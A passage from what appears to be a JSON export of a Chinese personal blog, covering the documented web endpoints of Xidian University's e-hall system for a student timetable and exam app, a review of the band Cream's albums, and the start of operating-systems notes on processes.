class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e当前学期信息字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后从 \u003ccode\u003e[\u0026#39;datas\u0026#39;][\u0026#39;cxxsllsywpk\u0026#39;]\u003c/code\u003e 提取信息,剩下步骤与上面一致。\u003c/p\u003e\n\u003ch4 id=\"金智黑话翻译表\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003cp\u003e以下多数自己破译,有误请指正。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCH\u003c/td\u003e\n\u003ctd\u003e课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKXH\u003c/td\u003e\n\u003ctd\u003e教学班序号(课序号)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCLBDM\u003c/td\u003e\n\u003ctd\u003e课程类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCXZDM\u003c/td\u003e\n\u003ctd\u003e课程性质\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXGXKLBDM\u003c/td\u003e\n\u003ctd\u003e校公选课类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBJDM\u003c/td\u003e\n\u003ctd\u003e班级\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJASDM\u003c/td\u003e\n\u003ctd\u003e上课教室\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXLDM\u003c/td\u003e\n\u003ctd\u003e教学楼\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXBDM\u003c/td\u003e\n\u003ctd\u003e教学班序号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKKDWDM\u003c/td\u003e\n\u003ctd\u003e开课单位\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKJS\u003c/td\u003e\n\u003ctd\u003e授课教师\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKXQ\u003c/td\u003e\n\u003ctd\u003e上课星期\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXXXQDM\u003c/td\u003e\n\u003ctd\u003e校区\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKZC\u003c/td\u003e\n\u003ctd\u003e上课周次(是数字数组,对应周的元素代表是否有课)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZCMC\u003c/td\u003e\n\u003ctd\u003e上课周次(字符串)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKSJC\u003c/td\u003e\n\u003ctd\u003e开始教程\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJSJC\u003c/td\u003e\n\u003ctd\u003e结束教程\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"获取考试安排\"\u003e获取考试安排\u003c/h3\u003e\n\u003cp\u003e先说明一下,这块由于没有基本材料,我目前也没有考试,所以以下逻辑仅供参考。\u003c/p\u003e\n\u003ch4 id=\"关于获取学期数据\"\u003e关于获取学期数据\u003c/h4\u003e\n\u003cp\u003e我经历了那次坑爹的年初疫情,后面我们考试的时候,我们需要自己去一站式更改学期,才能看到我们拖延考试的信息。所以,这里我想做一个查看往学期考试信息的功能。\u003c/p\u003e\n\u003cp\u003e然后,当我获取所有学期代码的时候,我发现好家伙,数据居然是从 2012 年开始算的。兄弟,我 2020 年入学的好吗?\u003c/p\u003e\n\u003cp\u003e所以,我感觉每年的二月到七月算春季学期,剩下的是秋季学期,我决定自己获取学期代码。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003emonth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"m\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-2\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"查询考试安排信息\"\u003e查询考试安排信息\u003c/h4\u003e\n\u003cp\u003e实际上我找到了三个相关请求,分别是:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003ewdksap\u003c/td\u003e\n\u003ctd\u003e我的考试安排\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecxyxkwapkwdkc\u003c/td\u003e\n\u003ctd\u003e查询已选课未安排考务的课程\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecxwapdksrw\u003c/td\u003e\n\u003ctd\u003e查询未安排的考试任务\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch5 id=\"我的考试安排\"\u003e我的考试安排\u003c/h5\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/wdksap.do\" target=\"_blank\" rel=\"noopener\"\u003ehttps://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/wdksap.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003esemester\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;*order\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;-KSRQ,-KSSJMS\u0026#34;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e返回的数据在 \u003ccode\u003e[datas][wdksap]\u003c/code\u003e 里面,提取之。\u003c/p\u003e\n\u003cp\u003e如果有考试的话,\u003ccode\u003e[extParams][code]\u003c/code\u003e 为 1,数据在 \u003ccode\u003e[row]\u003c/code\u003e 里面。\u003c/p\u003e\n\u003ch5 id=\"查询已选课未安排考务的课程\"\u003e查询已选课未安排考务的课程\u003c/h5\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/cxyxkwapkwdkc.do\" target=\"_blank\" rel=\"noopener\"\u003ehttps://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/cxyxkwapkwdkc.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003esemester\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e返回的数据在 \u003ccode\u003e[datas][cxyxkwapkwdkc]\u003c/code\u003e 里面,提取之,接下来咋处理我不想说了。\u003c/p\u003e\n\u003ch5 id=\"查询未安排的考试任务\"\u003e查询未安排的考试任务\u003c/h5\u003e\n\u003cp\u003e这个我每次请求,返回的数据都是\u0026#34;学生查询在考试任务中且没有安排的课程\u0026#34;。所以我也不知道该咋办了,兴许这又是教务处啥不可说的禁区?\u003c/p\u003e\n\u003ch4 id=\"金智黑话翻译表-1\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003cp\u003e打开网页调试器的网络分项,我看到了请求几个 html 的东西,里面就有缩写和对应中文,这里我摘抄几个。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eKSSJMS\u003c/td\u003e\n\u003ctd\u003e考试时间\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJASMC\u003c/td\u003e\n\u003ctd\u003e考试地点(具体是啥我也不知道)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZJJSXM\u003c/td\u003e\n\u003ctd\u003e主讲教师\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZWH\u003c/td\u003e\n\u003ctd\u003e座位号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eYKKS\u003c/td\u003e\n\u003ctd\u003e已完成考试\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eWKKS\u003c/td\u003e\n\u003ctd\u003e未完成考试\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBZ\u003c/td\u003e\n\u003ctd\u003e考生须知\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eYXZXAPKS\u003c/td\u003e\n\u003ctd\u003e院系自行安排\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"个人信息\"\u003e个人信息\u003c/h3\u003e\n\u003cp\u003e感觉这是最没用的功能了,除了打开应用告诉你是谁之外(溜了)\u003c/p\u003e\n\u003ch4 id=\"获取方法\"\u003e获取方法\u003c/h4\u003e\n\u003cp\u003e还记得获取成绩前,我们需要把跳转网址自行发送 GET 请求吗?获取个人信息时候也需要这么做:-P\u003c/p\u003e\n\u003cp\u003e如果你需要获取很基本的信息,我们往 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/xsfw/sys/swpubapp/userinfo/getConfigUserInfo.do?USERID=\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/xsfw/sys/swpubapp/userinfo/getConfigUserInfo.do?USERID=\u003c/a\u003e学号 发送 POST 请求。数据的 returnCode 里面,有 #E000000000000 就是成功。获取的信息在 \u003ccode\u003e[data]\u003c/code\u003e 里面,是一个数组。数组元素依次是学号,姓名,学院。\u003c/p\u003e\n\u003cp\u003e要想获取更加具体的信息,请往 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/xsfw/sys/jbxxapp/modules/infoStudent/getStuBatchInfo.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/xsfw/sys/jbxxapp/modules/infoStudent/getStuBatchInfo.do\u003c/a\u003e 发送信息,附带数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;requestParamStr\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e你的学号\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"金智黑话翻译表-2\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eXM\u003c/td\u003e\n\u003ctd\u003e姓名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXBDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e性别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBZ5_DISPLAY\u003c/td\u003e\n\u003ctd\u003e书院\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDZ_DWDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e学院\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZYDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e专业\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZSDZ\u003c/td\u003e\n\u003ctd\u003e宿舍\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\n\u003cp\u003e感觉看了那么多东西,算是把网页请求和 Cookie 啥的了解了一下,保证将来计网学的时候没有陌生感(虽然据说不咋讲)。\u003c/p\u003e\n\u003cp\u003e希望那玩意能写出来吧,免得将来找工作说没有编程经验,虽然 Dart 和 Flutter 也是很小众就是了。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/the-things-behind-xidian-e-hall.html"},{"title":"奶油乐队个人回顾","time":"2022-06-12T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/GOzRUgIAKfEQdu3.jpg\" alt=\"Featured image of post 奶油乐队个人回顾\"/\u003e\u003cp\u003e我最近在搞 CPP 的一卡通管理系统大作业,那里面有三个测试文件。有个测试文件是 resident.txt,我在里面输了两个人:Clapton 和 Baker,他们俩对应 Eric Clapton(guitar) 和 Ginger Baker(drums),都是奶油乐队的成员。不过我忘输机 Jack Bruce(bass, harmonica, vocal) 了:-P\u003c/p\u003e\n\u003cp\u003e奶油乐队是上世纪六十年代末的摇滚乐队,所以音乐风格有点复杂。\u003c/p\u003e\n\u003ch2 id=\"上来布鲁斯就超标\"\u003e上来布鲁斯就超标\u003c/h2\u003e\n\u003cp\u003e他们的第一张专辑 \u003cem\u003eFresh Cream\u003c/em\u003e 布鲁斯的味道简直是超标,毕竟有一半的歌曲是翻唱的布鲁斯歌曲。在原创的歌曲中,\u003cem\u003eSleepy Time Time\u003c/em\u003e 体现得很明显。上来的四个音,标准的布鲁斯。后面的三个连音,也是布鲁斯。就连吉他独奏,还是布鲁斯。加上迷幻的歌词,感觉有种奇特的感觉。而在翻唱作品中,\u003cem\u003eCat’s Squirrel\u003c/em\u003e 和 \u003cem\u003eRollin‘ and Tumblin\u0026#39;\u003c/em\u003e 是最有那种感觉的,也就是高亢的声调来体现悲伤的感情,这都要归功于出色的口琴表演。\u003c/p\u003e\n\u003cp\u003e来说说鼓手的表现。这张专辑有些歌曲的鼓声简直是疯狂至极,尤其在 \u003cem\u003eCat’s Squirrel\u003c/em\u003e 和 \u003cem\u003eRollin‘ and Tumblin\u0026#39;\u003c/em\u003e 里面。 \u003cem\u003eSweet Wine\u003c/em\u003e 也是他写的,听起来超级有节奏感,咚咚的感觉。专辑的最后 \u003cem\u003eToad\u003c/em\u003e 就是给他炫技的专门舞台,开创了鼓手独奏在录音室专辑中的先河。(据说他老人家有点小看 Bonzo 233)\u003c/p\u003e\n\u003cp\u003e至于吉他手嘛,他的舞台不在录音室,而在现场。这张专辑除了上面说的,再加上 \u003cem\u003eI Feel Free\u003c/em\u003e ,就没啥了。\u003c/p\u003e\n\u003cp\u003e关于第一张专辑,我还想说一点。这张专辑的双声道版本在我看来,十分地糟糕。鼓声贝斯完全在左声道,吉他声完全在左声道,听上去太割裂啦。要想完整欣赏的话,要不找个有单声道混音的纪念版,要不找个好点的单声道混音器:-P\u003c/p\u003e\n\u003ch2 id=\"然后酒喝多了脑袋沉沉的\"\u003e然后酒喝多了,脑袋沉沉的\u003c/h2\u003e\n\u003cp\u003e他们的第二张专辑 \u003cem\u003eDisraeli Gears\u003c/em\u003e 开始迷幻了起来,虽然布鲁斯的感觉还在,但是已然不是主导的力量了。他们的声音逐渐加重了起来,也迷幻了起来。甚至名字都是迷幻的。比如说上来一首 \u003cem\u003eStrange Brew\u003c/em\u003e ,虽然起调的六个音十分的布鲁斯,但只要稍微延长一下,就迷幻了起来。中间的独奏也是由连音造就的玄幻感觉。这杯啤酒就很怪。\u003c/p\u003e\n\u003cp\u003e当然,也有融合得不是很好的。比如 \u003cem\u003eTales of Brave Ulysses\u003c/em\u003e ,就是纯靠有一点布鲁斯哇音搞点那种感觉,一开始听我没觉得很独特。这之后的 \u003cem\u003eSWLABW\u003c/em\u003e 名字很奇怪 ( She Walked Like A Beard Rainbow ),但是节奏却很快,不迷幻,很清醒,我听完很爽的,是不是人真要迷幻起来也就这样激情吧。\u003c/p\u003e\n\u003cp\u003e这些特点都要归功于新的制作人。第一张专辑的制作人,就是他们的经纪人 Robert Stigwood,经纪人没有抓住他们乐曲的主要特点,搞得听起来有点平平。回来有个贝斯手 Felix Pappalardi 听完了,找到了他们,稍微改了几下,添加了很多新要素。\u003c/p\u003e\n\u003cp\u003e这张专辑的元素,实际上十分多样化,出现了全新风格的歌曲。比如 \u003cem\u003eSunshine of Your Love\u003c/em\u003e 就十分的重摇滚,没啥布鲁斯,也不迷幻。\u003cem\u003eDance the Night Away\u003c/em\u003e 和 \u003cem\u003eWe‘re Going Wrong\u003c/em\u003e 十分纯粹地抒情。前者独奏中的吉他涟漪荡漾,十分地有感觉。\u003c/p\u003e\n\u003ch2 id=\"彻底没有融合分化的很明显\"\u003e彻底没有融合,分化的很明显\u003c/h2\u003e\n\u003cp\u003e第三张专辑 \u003cem\u003eWheels of Fire\u003c/em\u003e 的录音室歌曲部分明显感觉到布鲁斯,迷幻的感觉都没有那么明显了。从布鲁斯的感觉中,脱胎出重摇滚的感觉。迷幻的感觉我觉得荡然无存了,取代的是偏流行的因素。\u003c/p\u003e\n\u003cp\u003e先说流行的感觉,因为我对这个没有那么深的感觉。\u003cem\u003eWhite Room\u003c/em\u003e 气势宏大,\u003cem\u003eThose Were the Days\u003c/em\u003e 节奏欢快,\u003cem\u003eAs You Said\u003c/em\u003e 十分伤感抒情。歌曲的风格已经很复杂,而且流行的感觉了。这个对第四张专辑 \u003cem\u003eGoodbye\u003c/em\u003e 的三首歌都适用。\u003c/p\u003e\n\u003cp\u003e再说重摇滚的感觉,我前面说过的很多布鲁斯调子都是几个音,只要加重一下,重的感觉立马就出来了。比如说 \u003cem\u003ePolician\u003c/em\u003e 这首歌,上来的五个音虽然不是那么布鲁斯,但是绝对是很重的,布鲁斯的痕迹还是在的,而且吉他独奏也是明显的脱胎自布鲁斯。而这张专辑的两首布鲁斯翻唱 \u003cem\u003eSitting on the Top of the World\u003c/em\u003e 和 \u003cem\u003eBorn Under A Bad Sign\u003c/em\u003e,也是十分的重。我曾经看有人说过重金属脱胎自布鲁斯,现在我是有点明白了。(没错,说的就是 Led Zeppelin)\u003c/p\u003e\n\u003cp\u003e实际上,听他们的现场,基本就是这个感觉。他们也是因为第三张专辑 \u003cem\u003eWheels of Fire\u003c/em\u003e 和第四张专辑 \u003cem\u003eGoodbye\u003c/em\u003e 的现场演奏部分就是这种感觉。很重,很快,很布鲁斯。强烈推荐 \u003cem\u003eSpoonful\u003c/em\u003e 的现场演奏版,绝对能听得很爽。\u003c/p\u003e\n\u003ch2 id=\"我还有啥要说的\"\u003e我还有啥要说的\u003c/h2\u003e\n\u003cp\u003e讲道理,要不是这个乐队有个很出名的吉他手,现在人估计没有多少人会注意到这个乐队。但作为六十年代末期比较出名的乐队之一,他们迷幻又重型的风格,让他们在摇滚乐的形成方面起到了很大的作用。他们录音室专辑除了第二张,其他的并没有那么好。但是他们的现场,绝对是经典中的经典。\u003c/p\u003e\n\u003ch2 id=\"扩展观看\"\u003e扩展观看\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.discogs.com/artist/229621-Cream-2\" target=\"_blank\" rel=\"noopener\"\u003eDiscogs 上面的乐队信息\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1xF411T75L\" target=\"_blank\" rel=\"noopener\"\u003e这个乐队的纪录片\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Zy4y1y729\" target=\"_blank\" rel=\"noopener\"\u003e本乐队鼓手的纪录片\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://github.com/BenderBlog/Practise-Programs/tree/main/CPP/exp4\" target=\"_blank\" rel=\"noopener\"\u003e那个大作业\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/cream-band-review.html"},{"title":"操作系统:线程","time":"2022-04-09T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/XwlnJjUEqyDB6WZ.png\" alt=\"Featured image of post 操作系统:线程\"/\u003e\u003ch2 id=\"进程概要\"\u003e进程概要\u003c/h2\u003e\n\u003ch3 id=\"栈区是否是程序的一部分\"\u003e栈区是否是程序的一部分?\u003c/h3\u003e\n\u003cp\u003e不是,栈区是进程的一部分,而程序不是进程。(什么咬文嚼字233)\u003cbr/\u003e\n概念:进程是正在运行的程序。包括程序计数器,栈区和数据区。\u003c/p\u003e\n\u003ch3 id=\"进程创建的四种情况是啥\"\u003e进程创建的四种情况是啥?\u003c/h3\u003e\n\u003cp\u003e系统初始化,用户请求,系统调用,批处理初始化。\u003c/p\u003e\n\u003ch2 id=\"父子进程\"\u003e父子进程\u003c/h2\u003e\n\u003ch3 id=\"fork-创建子进程-和-exec-执行-的区别\"\u003eFork (创建子进程) 和 Exec (执行) 的区别\u003c/h3\u003e\n\u003cp\u003e我觉得括号里面说的很明白了2333\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFork: 子进程和父进程的代码区,堆栈区是相同的。\u003c/li\u003e\n\u003cli\u003eExec: 